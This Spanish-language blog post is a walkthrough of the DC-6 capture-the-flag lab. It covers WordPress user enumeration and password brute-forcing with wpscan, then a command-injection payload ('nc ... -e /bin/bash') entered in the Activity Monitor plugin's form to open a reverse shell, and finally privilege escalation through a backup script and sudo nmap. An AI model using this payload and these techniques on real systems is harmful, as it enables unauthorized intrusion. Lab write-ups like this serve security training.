Descripción:
DC-6 es otro laboratorio vulnerable creado especialmente con la intención de ganar experiencia en el mundo de las pruebas de penetración. No es un desafío demasiado difícil, por lo que debería ser ideal para principiantes. El objetivo final de este desafío es obtener acceso root y leer la única bandera.
Pista:
Vale, esto no es realmente una pista como tal, sino más bien un consejo del tipo "no queremos pasar cinco años esperando a que finalice un determinado proceso" para aquellos que simplemente quieren seguir adelante con el trabajo.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt Esto debería ahorrarte algunos años.
Como primer paso, realizaremos un reconocimiento de la red, para obtener la dirección IP de la máquina objetivo con la herramienta netdiscover.
El archivo hosts está ubicado en el directorio /etc/hosts. En la imagen anterior se muestra como configuré tanto http://wordy/ y wordy. Con esto nuestra máquina podrá enrutar las comunicaciones que hagamos desde la máquina atacante y la máquina objetivo.
Ahora con la herramienta Whatweb realizaré un reconocimiento de las tecnologías utilizadas y ejecutadas en el servicio web.
Como se muestra en la imagen anterior se está ejecutando el CMS WordPress 5.1.1. Ahora lo que haré es utilizar la herramienta wpscan.
Los resultados más importantes que obtuvimos fue una lista de usuarios.
Ahora lo que haré es crear un archivo llamado user.txt con los usuarios identificado con la herramienta wpscan.
Ahora debemos crear un diccionario de contraseñas como se indica en la pista que se nos da en el enunciado de este tutorial.
Teniendo los dos archivos tanto de usuario y password con la herramienta wpscan los utilizaremos para descubrir credenciales de usuarios.
Wpscan encontró credenciales válidas para el usuario mark:helpdesk01. Ahora probaremos esas credenciales para autenticarnos en WordPress.
Las credenciales nos permitieron validarnos en WordPress y nos muestra el Dashboard de WordPress para el usuario mark.
Como se puede observar en la imagen anterior hay un plugin instalado llamado "Activity Monitor", por lo tanto, buscaré información sobre este plugin en Internet. Cabe mencionar que la versión de WordPress no está actualizada lo que indica que probablemente los plugin también deben estar desactualizado por un tema de compatibilidad.
Al hacer clic en "Read more about the premium pack" se nos redirige a la página oficial del plugin que no se encuentra activa.
Ahora realizando una búsqueda en Internet encontré información importante sobre el plugin en la página del csirt telconet latam.
google.fr| nc 192.168.50.160 1234 -e /bin/bash
Entonces, en mi máquina atacante configuraré la herramienta netcat de la siguiente manera.
Y en la máquina víctima ejecutaré la siguiente inyección de código en el campo de formulario "IP or Integer *".
google.fr| nc 192.168.50.160 1234 -e /bin/bash
Como se muestra en la imagen el campo del formulario web está configurado para recibir un número determinado de caracteres. esto lo podemos modificar con las herramientas de desarrollo de nuestro navegado.
Ahora solo queda ejecutar la función "Lookup"(Boton).
Como se muestra en la imagen anterior al ejecutar la inyección de código en el formulario web, en nuestra máquina atacante recibimos una conexión reversa, es decir, desde la máquina víctima a nuestra máquina atacante.
Ahora lo que haré es ir al directorio home de la máquina, para listar los usuarios del sistema.
Ahora listaré los archivos de todos los usuarios a ver si encontramos algo interesante.
Como se muestra en la imagen el usuario jens tiene un archivo backup.sh, el usuario mark tiene el directorio stuff y dentro del directorio stuff/things-to-do.txt. Entonse los revisaré.
Antes de continuar debemos realizar algunas modificaciones a nuestra terminal.
- En nuestra terminal ejecutamos el siguiente comando ...$tty, este comando debería devolver "no a tty".
- luego, ejecutamos el siguiente comando ...$script /dev/null -c bash
- luego, ejecutamos la combinación de teclas Ctrl+Z, para enviar a background el proceso actual.
- Ejecutamos el siguiente comando ...$stty raw -echo; fg y posterior a este comando ejecutamos reset xterm
- Ejecutamos el comando echo ...$TERM , este comando debería devolve "dumb".
- Por último, ejecutamos el siguiente comando ...$export TREM=xterm
Con esta nueva configuración obtenemos una tty(terminal) a partir de una shell reversa con todas sus funcionalidades.
Ahora revisaré el archivo backups.sh del usuario jeans.
Como se muestra en la imagen anterior es un script bash que crea un archivo comprimido del directorio html. en el directorio actual.
Ahora revisaré el directorio stuff/things-to-do.txt del usuario jens.
En el archivo things-to-do.txt encontramos una lista de tarea del usuario jens en ella se la creación del usuario graham con una posible contraseña. Probaré estas credenciales contra el servicio SSH que se está ejecutando en el servidor.
Las credenciales encontradas son válidas para el usuario graham. Ahora ejecutaré el siguiente comando de Linux.
Como se muestra en la imagen anterior al final del archivo backups.sh agregué la línea /bin/bash. Con esta última línea lo que conseguimos es obtener una bash con los privilegios del usuario jens.
Ahora solo debemos ejecutar el archivo backups.sh.
Como se muestra en la imagen anterior, escalamos privilegio desde el usuario graham a jens. ahora volveré a ejecutar el comando sudo -l.
Como se muestra en la imagen anterior, el usuario jens puede ejecutar la herramienta nmap como root. Podríamos usar el mismo mecanismo para que utilizamos para escalar privilegios desde el usuario graham a jens.
Cabe mencionar, que nmap cuenta con un conjunto de script de reconocimiento de red. con el parámetro --script podemos ejecutar los script de nmap, los script de nmap tienen la extensión .nse. Por lo tanto, ejecutaré el siguiente código para elevar privilegio al usuario root.
Como se muestra en la imagen escalamos privilegio al usuario root. Ahora solo falta encontrar la flag(bandera) root.
Happy Hack!!!
Comentarios
Publicar un comentario